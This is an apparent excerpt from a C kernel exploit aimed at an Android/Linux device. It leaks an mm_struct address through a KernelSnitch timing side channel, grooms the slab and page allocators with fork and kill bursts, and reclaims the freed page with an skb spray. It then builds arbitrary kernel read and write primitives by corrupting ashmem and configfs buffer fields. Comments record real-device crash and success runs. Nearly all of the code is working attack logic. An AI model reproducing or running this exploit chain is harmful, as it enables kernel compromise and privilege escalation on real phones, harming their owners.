  /* Multi-round freelist flushing right before the leak child's mm is
   * allocated.  Each round forks flush_ctx children (consuming any foreign
   * slots on top of this CPU's LIFO freelist), then kills them so their mm
   * slots return to the freelist TOP as OUR slabs.  After several rounds the
   * freelist head is dominated by our own slabs, so the leak child's mm
   * almost certainly lands on a slab the kill burst empties.  The last
   * round's children stay alive (they are in the kill set). */
  const char *flush_rounds_env =
      env_get("glmmflushrounds", "GL_MM_FLUSH_ROUNDS");
  int flush_rounds = 2;
  if (flush_rounds_env && *flush_rounds_env) {
    char *end = NULL;
    long v = strtol(flush_rounds_env, &end, 0);
    if (end && end != flush_rounds_env && v >= 1 && v <= 8) {
      flush_rounds = (int)v;
    }
  }
  for (int r = 0; r < flush_rounds; r++) {
    for (size_t i = 0; i < flush_ctx.mm_cnt; i++) {
      flush_ctx.childs[i] = clone_child();
    }
    if (r + 1 < flush_rounds) {
      for (size_t i = 0; i < flush_ctx.mm_cnt; i++) {
        kill_child(flush_ctx.childs[i]);
      }
    }
  }
  pr_info("flush pool forked (%zu x %d rounds) before leak child\n",
          flush_ctx.mm_cnt, flush_rounds);
  child_leak = clone_leak_child();
  /* Wait for the collision measurement with the system as quiet as possible:
   * the timing side-channel is sensitive to fork/memfd churn, and the heavy
   * pool shaping (post/kick forks) would otherwise run concurrently inside
   * the measurement window. */
  pr_info("waiting for ksnitch collision measurement (device quiet)\n");
  size_t wait_t0 = gettime_ns();
  for (;;) {
    pid_t w = waitpid(child_leak, NULL, WNOHANG);
    if (w == child_leak)
      break;
    if (w < 0) {
      pr_error("waitpid child_leak errno=%d\n", errno);
    }
    if (gettime_ns() - wait_t0 >= 5000000000ULL) {
      wait_t0 = gettime_ns();
      pr_info("waiting for collision child... (still alive)\n");
    }
    usleep(20000);
  }

  /* Heavy phase: now that the timing measurement is done, fork the
   * post/kick pools. */
  pr_info("collision child done; heavy phase start\n");
  for (size_t i = 0; i < post_ctx.mm_cnt; i++) {
    post_ctx.childs[i] = clone_child();
  }
  pr_info("heavy phase post forked (%zu)\n", post_ctx.mm_cnt);
  for (size_t i = 0; i < kick_ctx.mm_cnt; i++) {
    kick_ctx.childs[i] = clone_child();
  }
  pr_info("heavy phase kick forked (%zu)\n", kick_ctx.mm_cnt);

  if (!kernelsnitch_found_collisions(ks)) {
    pr_warning("KernelSnitch collision finding failed\n");
    kernelsnitch_cleanup(ks);
    ks = NULL;
    kill_pool_children();
    cleanup_page_prepare_state();
    return 0;
  }

  kernelsnitch_bruteforce(ks);
  uintptr_t leaked = ks->mm_struct;
  if (leaked == (uintptr_t)-1) {
    pr_warning("KernelSnitch mm_struct leak failed\n");
    kernelsnitch_cleanup(ks);
    ks = NULL;
    kill_pool_children();
    cleanup_page_prepare_state();
    return 0;
  }

  uintptr_t base = leaked & ~(ORDER3_SIZE - 1);
#if AUDIOIPI_VA_FIX
  /* QEMU(memstart=0x40000000):KernelSnitch 泄漏为朴素 VA
   * (PAGE_OFFSET+phys),内核 direct map 实为 (phys-memstart)|PAGE_OFFSET,
   * 朴素地址未映射。转换为正确 VA(真机构建宏=0 保持原样)。 */
  {
    uintptr_t naive_phys = base - P0_PAGE_OFFSET;
    uintptr_t fixed = P0_PAGE_OFFSET | (naive_phys - P0_PHYS_OFFSET);
    pr_info("ksnitch base naive=%016zx phys=%016zx fixed=%016zx\n",
            base, naive_phys, fixed);
    base = fixed;
  }
#endif
  if (!prepare_skb_payload(base, payload_mode)) {
    kernelsnitch_cleanup(ks);
    ks = NULL;
    for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
      kill_child(prepare_ctx.childs[i]);
    }
    cleanup_page_prepare_state();
    return 0;
  }

  /* per-socket sndbuf is capped by sysctl wmem_max (~16MB -> ~250 frag
   * pages), so use several sockets to multiply the continuous spray.  The
   * receiver never drains, keeping every payload frag page alive. */
  int sndbuf = 1 << 26;
  for (int s = 0; s < RECLAIM_SOCKETS; s++) {
    SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, reclaim_sv[s]));
    setsockopt(reclaim_sv[s][0], SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf));
    setsockopt(reclaim_sv[s][1], SOL_SOCKET, SO_RCVBUF, &sndbuf, sizeof(sndbuf));
    int reclaim_flags = fcntl(reclaim_sv[s][0], F_GETFL, 0);
    if (reclaim_flags >= 0) {
      fcntl(reclaim_sv[s][0], F_SETFL, reclaim_flags | O_NONBLOCK);
    }
  }
  int pcp_shaping_sv[2];
  SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, pcp_shaping_sv));

  struct iovec iov;
  memset(&iov, 0, sizeof(iov));
  iov.iov_base = skb_buf;
  iov.iov_len = SKB_SEND_SIZE;

  struct msghdr msg;
  memset(&msg, 0, sizeof(msg));
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;

  SYSCHK(sendmsg(pcp_shaping_sv[0], &msg, 0));

  pin_to_core(CORE);
  sched_yield();
  sched_yield();
  sched_yield();
  sched_yield();

  SYSCHK(close(pcp_shaping_sv[0]));
  SYSCHK(close(pcp_shaping_sv[1]));
  report_mm_slabinfo("before-free");
  report_buddy_order3("before-free");
  /* Kill burst (the 13:34 configuration that actually landed once):
   * - post + spray + pre fully freed -> ~10 slabs are discarded, and the
   *   leaked page's rcu callback is queued among them (roughly 10th).  With
   *   a ~2.5s settle that is the sweet spot: the callback lands close enough
   *   to the spray that the page does not sit in buddy long enough to be
   *   stolen, but late enough that the settle covers it.
   * - prepare/kick stay alive (their pages never leave the cache).
   * The back-to-back spray (2008 frag pages) then grabs the buddy head.
   *
   * REAL DEVICE (2026-08-25): ENOTTY boots (22:31/22:50/22:56/23:03) with
   * bias 0/-0x40/-0x80 all show an empty fops table -> the leaked mm page
   * is NOT reclaimed by the spray.  Killing the whole pool
   * (GL_KILL_ALL=1, panics 23:08 / 08:03) in misc_open on a FOREIGN slab
   * (fake owner=0x1270 -> try_module_get).  Foreign-slab hits cannot be
   * fixed by killing our own pools, so the default stays OFF (graceful
   * ENOTTY on reclaim miss).  The flush pool (see prepare_ctxs) reduces the
   * foreign-hit rate at the source by consuming foreign freelist slots
   * before the leak child allocates its mm. */
  int kill_all = 0;
  const char *kill_all_env = env_get("glkillall", "GL_KILL_ALL");
  if (kill_all_env && *kill_all_env) {
    kill_all = kill_all_env[0] != '0';
  }
  pr_info("kill burst start (post + spray + pre + kick%s)\n",
          kill_all ? " + prepare" : "");
  for (size_t i = 0; i < post_ctx.mm_cnt; i++) {
    kill_child(post_ctx.childs[i]);
  }
  for (size_t i = 0; i < spray_ctx.mm_cnt; i++) {
    kill_child(spray_ctx.childs[i]);
  }
  for (size_t i = 0; i < pre_ctx.mm_cnt; i++) {
    kill_child(pre_ctx.childs[i]);
  }
  /* 2026-08-26: the only recent reclaim success (00:22) used a burst that
   * also freed kick; freeing these 14 extra slabs covers the case where the
   * leaked mm page shares a slab with kick children.  post stays in the
   * heavy phase so the measurement window stays quiet. */
  for (size_t i = 0; i < kick_ctx.mm_cnt; i++) {
    kill_child(kick_ctx.childs[i]);
  }
  for (size_t i = 0; i < flush_ctx.mm_cnt; i++) {
    kill_child(flush_ctx.childs[i]);
  }
  if (kill_all) {
    for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
      kill_child(prepare_ctx.childs[i]);
    }
  }
  pr_info("kill burst done\n");
  /* Only the leaked page is in the rcu discard queue, so its callback lands
   * after ~1 grace period.  Wait a short fixed time for it, then spray
   * BACK-TO-BACK with no gaps: the first frag allocation grabs the buddy
   * head (the just-freed leaked page) and no other allocation can slip in
   * between our sends. */
  const char *settle_env =
      env_get("glreclaimsettlems", "GL_RECLAIM_SETTLE_MS");
  long settle_ms = 2500;
  if (settle_env && *settle_env) {
    char *end = NULL;
    long v = strtol(settle_env, &end, 0);
    if (end && end != settle_env && v >= 0 && v <= 30000)
      settle_ms = v;
  }
  pr_info("leaked mm page freed, settling %ld ms for RCU grace\n", settle_ms);
  usleep((useconds_t)settle_ms * 1000);
  report_mm_slabinfo("after-settle");
  report_buddy_order3("after-settle");
  /* Back-to-back spray over all sockets (no sleep between sends). */
  pr_info("skb reclaim back-to-back spray (payload at page_base+0x180)\n");
  int total_sent = 0;
  int drained = 1;
  while (drained && total_sent < 8192) {
    drained = 0;
    for (int s = 0; s < RECLAIM_SOCKETS; s++) {
      for (int i = 0; i < 32; i++) {
        errno = 0;
        ssize_t sent = sendmsg(reclaim_sv[s][0], &msg, MSG_DONTWAIT);
        if (sent > 0) {
          total_sent++;
          drained = 1;
        } else {
          break;
        }
      }
    }
  }
  pr_info("skb reclaim total_sent=%d\n", total_sent);
  report_mm_slabinfo("after-spray");
  report_buddy_order3("after-spray");
  kernelsnitch_cleanup(ks);
  ks = NULL;

  return base;
}

int payload_base_valid(uintptr_t base) {
  /* MTE tag 在高 8 位(bit56-63):去掉 tag,恢复 canonical bit63..56=0xff */
  uintptr_t clean = (base & 0x00ffffffffffffffULL) | 0xff00000000000000ULL;
  if (clean < P0_PAGE_OFFSET) {
    pr_warning("payload base %016zx below PAGE_OFFSET\n", base);
    return 0;
  }
  uint64_t phys = (uint64_t)(clean - P0_PAGE_OFFSET) + P0_PHYS_OFFSET;
  if (phys < P0_PHYS_OFFSET || phys >= P0_PHYS_OFFSET + DRAM_SIZE_MAX) {
    pr_warning("payload base %016zx -> phys %016llx out of DRAM "
               "[%016llx, %016llx)\n",
               base, (unsigned long long)phys,
               (unsigned long long)P0_PHYS_OFFSET,
               (unsigned long long)(P0_PHYS_OFFSET + DRAM_SIZE_MAX));
    return 0;
  }
  return 1;
}

uintptr_t prepare_good_kernel_page(int payload_mode) {
  int max_attempts = KERNEL_PAGE_SETUP_ATTEMPTS;
  if (payload_mode == PAGE_PAYLOAD_SLIDE) {
    max_attempts = SLIDE_KERNEL_PAGE_SETUP_ATTEMPTS;
  } else if (payload_mode == PAGE_PAYLOAD_FOPS) {
    max_attempts = FOPS_KERNEL_PAGE_SETUP_ATTEMPTS;
  }
  for (int attempt = 1; attempt <= max_attempts; attempt++) {
    uintptr_t base = prepare_kernel_page(payload_mode);
    if (base) {
      if (payload_base_valid(base)) {
        return base;
      }
      pr_warning("prepare_kernel_page base %016zx rejected (invalid phys), "
                 "retry %d/%d\n", base, attempt, max_attempts);
      continue;
    }
    pr_warning("prepare_kernel_page retry %d/%d\n", attempt,
               max_attempts);
  }
  pr_warning("prepare_kernel_page did not find usable nonzero source pointers\n");
  return 0;
}

static int dbg_name_probe_done;
void dbg_name_probe(int fd) {
  if (dbg_name_probe_done) {
    return;
  }
  dbg_name_probe_done = 1;

  /* One-shot: write a fully non-zero blob through SET_NAME (no zero-at calls,
   * so name[11] stays non-zero and GET_NAME returns the blob), then read it
   * back.  Distinct 8-byte and 4-byte patterns show exactly which qword
   * fields lose their low 24 bits between our blob and the kernel's name. */
  unsigned char blob[128];
  memset(blob, 0xaa, sizeof(blob));
  put64(blob, CFG_PAGE_OFF - ASHMEM_NAME_PREFIX_LEN, 0x0102030405060708ULL);
  put64(blob, CFG_BIN_BUFFER_OFF - ASHMEM_NAME_PREFIX_LEN,
        0x1112131415161718ULL);
  put32(blob, CFG_BIN_BUFFER_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, 0x21222324U);
  put32(blob, CFG_CB_MAX_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, 0x31323334U);
  put32(blob, CFG_NEEDS_READ_FILL_OFF - ASHMEM_NAME_PREFIX_LEN, 0x41424344U);

  char name[ASHMEM_NAME_LEN];
  memset(name, 0x41, sizeof(name));
  for (size_t i = 0; i < sizeof(blob); i++) {
    name[i] = (char)blob[i];
  }
  name[sizeof(blob)] = 0;
  errno = 0;
  long sr = ioctl(fd, ASHMEM_SET_NAME, name);
  int se = errno;

  char back[160];
  memset(back, 0x41, sizeof(back));
  errno = 0;
  long gr = ioctl(fd, ASHMEM_GET_NAME, back);
  int ge = errno;
  pr_info("dbgname set=%ld errno=%d get=%ld errno=%d\n", sr, se, gr, ge);
  pr_info("dbgname page=%02x%02x%02x%02x%02x%02x%02x%02x\n",
          (unsigned char)back[5], (unsigned char)back[6],
          (unsigned char)back[7], (unsigned char)back[8],
          (unsigned char)back[9], (unsigned char)back[10],
          (unsigned char)back[11], (unsigned char)back[12]);
  pr_info("dbgname binbuf=%02x%02x%02x%02x%02x%02x%02x%02x "
          "size=%02x%02x%02x%02x cb=%02x%02x%02x%02x "
          "needfill=%02x%02x%02x%02x\n",
          (unsigned char)back[77], (unsigned char)back[78],
          (unsigned char)back[79], (unsigned char)back[80],
          (unsigned char)back[81], (unsigned char)back[82],
          (unsigned char)back[83], (unsigned char)back[84],
          (unsigned char)back[85], (unsigned char)back[86],
          (unsigned char)back[87], (unsigned char)back[88],
          (unsigned char)back[89], (unsigned char)back[90],
          (unsigned char)back[91], (unsigned char)back[92],
          (unsigned char)back[69], (unsigned char)back[70],
          (unsigned char)back[71], (unsigned char)back[72]);
}

ssize_t configfs_write_once(int fd, uintptr_t target, const void *data, size_t len) {
  unsigned char blob[128];
  memset(blob, 0, sizeof(blob));
  /* The same low-24-bit zeroing that hit buffer->page also hits bin_buffer:
   * the 22:06 llseek repair write (target=fake_fops+8) never landed.  Fix by
   * construction, mirroring configfs_read_once: put bin_buffer = target &
   * ~0xFFFFFF into the name and pwrite at pos = target & 0xFFFFFF, so the
   * kernel's simple_write_to_buffer writes to bin_buffer + pos == target even
   * if the qword loses its low 24 bits.  bin_buffer_size is 0x1000000 + pos +
   * len: whether or not it gets low-24-truncated it stays >= pos+len, so
   * configfs_write_bin_file never takes the vmalloc realloc path. */
  off_t wpos = (off_t)(target & 0xFFFFFFULL);
  uintptr_t bin = target - (uintptr_t)wpos;
  if (bin == 0) {
    /* target < 16MB: page/bin would be 0 and the kernel would copy to/from a
     * tiny address (hardened usercopy / copy_to_user fault).  Fail cleanly. */
    errno = EINVAL;
    return -1;
  }
  put64(blob, CFG_BIN_BUFFER_OFF - ASHMEM_NAME_PREFIX_LEN, bin);
  put32(blob, CFG_BIN_BUFFER_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN,
        (uint32_t)(0x1000000U + (uint32_t)wpos + (uint32_t)len));
  put32(blob, CFG_CB_MAX_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, 0);
  int cfi_dbg = env_get("glcfidebug", "GL_CFI_DEBUG") != NULL;
  if (cfi_dbg) {
    pr_info("cfi wr target=%016zx len=%zu\n", target, len);
  }
  errno = 0;
  int set_ret = try_set_ashmem_name_blob(fd, blob, sizeof(blob));
  int set_errno = errno;
  if (cfi_dbg) {
    pr_info("cfi wr set ret=%d errno=%d\n", set_ret, set_errno);
  }
  if (set_ret != 0) {
    errno = set_errno;
    return -1;
  }

  errno = 0;
  ssize_t wr = pwrite(fd, data, len, wpos);
  if (cfi_dbg) {
    pr_info("cfi wr pwrite pos=%llx ret=%zd errno=%d\n",
            (unsigned long long)wpos, wr, errno);
  }
  return wr;
}

ssize_t configfs_read_once(int fd, uintptr_t target, void *data, size_t len) {
  unsigned char blob[128];
  memset(blob, 0, sizeof(blob));
  /* Real-device evidence (2026-08-25 21:33 oops + 21:54 run): the qword that
   * lands in asma->name[16..23] (configfs buffer->page) has its LOW 24 BITS
   * ZEROED somewhere between our blob and the kernel read, regardless of the
   * value written.  With pos = ASHMEM_PREFIX_COUNT - len, page = target - pos
   * carries target's low 24 bits, so they are lost and the read source
   * becomes a fixed wrong address (base+0x216655c in the 21:54 boot, an
   * unmapped hole in the 21:33 boot -> copy_to_user fault).
   *
   * Fix by construction: choose pos = target & 0xFFFFFF so page = target - pos
   * = target & ~0xFFFFFF already has zero low 24 bits.  Whatever clears them
   * is then a no-op, and buffer->page + ppos == target exactly.  pos stays
   * < 16MB, far below buffer->count ("dev/ashm" = 0x6d6873612f766564), so
   * simple_read_from_buffer still copies len bytes. */
  off_t pos = (off_t)(target & 0xFFFFFFULL);
  uintptr_t page = target - (uintptr_t)pos;
  if (page == 0) {
    /* target < 16MB: see configfs_write_once guard. */
    errno = EINVAL;
    return -1;
  }
  put64(blob, CFG_PAGE_OFF - ASHMEM_NAME_PREFIX_LEN, page);
  put32(blob, CFG_NEEDS_READ_FILL_OFF - ASHMEM_NAME_PREFIX_LEN, 0);
  int cfi_dbg = env_get("glcfidebug", "GL_CFI_DEBUG") != NULL;
  if (cfi_dbg) {
    pr_info("cfi rd target=%016zx len=%zu pos=%016llx page=%016zx\n",
            target, len, (unsigned long long)pos, page);
  }
  errno = 0;
  int set_ret = try_set_ashmem_name_blob(fd, blob, sizeof(blob));
  int set_errno = errno;
  if (cfi_dbg) {
    /* Read the name back through the REAL ashmem ioctl to see exactly what
     * bytes landed in asma->name (GET_NAME copies asma->name+11).  This
     * isolates blob-write corruption from kernel-side read arithmetic. */
    char back[64];
    memset(back, 0x41, sizeof(back));
    errno = 0;
    long gr = ioctl(fd, ASHMEM_GET_NAME, back);
    int ge = errno;
    pr_info("cfi rd set ret=%d errno=%d getname ret=%ld errno=%d "
            "back00=%02x%02x%02x%02x%02x%02x%02x%02x "
            "back05=%02x%02x%02x%02x%02x%02x%02x%02x\n",
            set_ret, set_errno, gr, ge,
            (unsigned char)back[0], (unsigned char)back[1],
            (unsigned char)back[2], (unsigned char)back[3],
            (unsigned char)back[4], (unsigned char)back[5],
            (unsigned char)back[6], (unsigned char)back[7],
            (unsigned char)back[5], (unsigned char)back[6],
            (unsigned char)back[7], (unsigned char)back[8],
            (unsigned char)back[9], (unsigned char)back[10],
            (unsigned char)back[11], (unsigned char)back[12]);
  }
  if (set_ret != 0) {
    errno = set_errno;
    return -1;
  }

  errno = 0;
  ssize_t rd = pread(fd, data, len, pos);
  if (cfi_dbg) {
    pr_info("cfi rd pread ret=%zd errno=%d\n", rd, errno);
  }
  return rd;
}

int is_kernel_ptr(uintptr_t value) {
  return value >= 0xffff800000000000ULL;
}

int is_direct_ptr(uintptr_t value) {
  return value >= DIRECT_MAP_BASE && value < DIRECT_MAP_END;
}

uint64_t kernel_read64(int fd, uintptr_t target) {
  uint64_t value = 0;
  ssize_t n = kernel_read_data(fd, target, &value, sizeof(value));
  if (n != (ssize_t)sizeof(value)) {
    return 0;
  }
  return value;
}

uint32_t kernel_read32(int fd, uintptr_t target) {
  uint32_t value = 0;
  ssize_t n = kernel_read_data(fd, target, &value, sizeof(value));
  if (n != (ssize_t)sizeof(value)) {
    return 0;
  }
  return value;
}

int kernel_write64(int fd, uintptr_t target, uint64_t value) {
  return kernel_write_data(fd, target, &value, sizeof(value)) ==
         (ssize_t)sizeof(value);
}

ssize_t kernel_write_data(int fd, uintptr_t target, const void *data, size_t len) {
  return configfs_write_once(fd, target, data, len);
}

ssize_t kernel_read_data(int fd, uintptr_t target, void *data, size_t len) {
  return configfs_read_once(fd, target, data, len);
}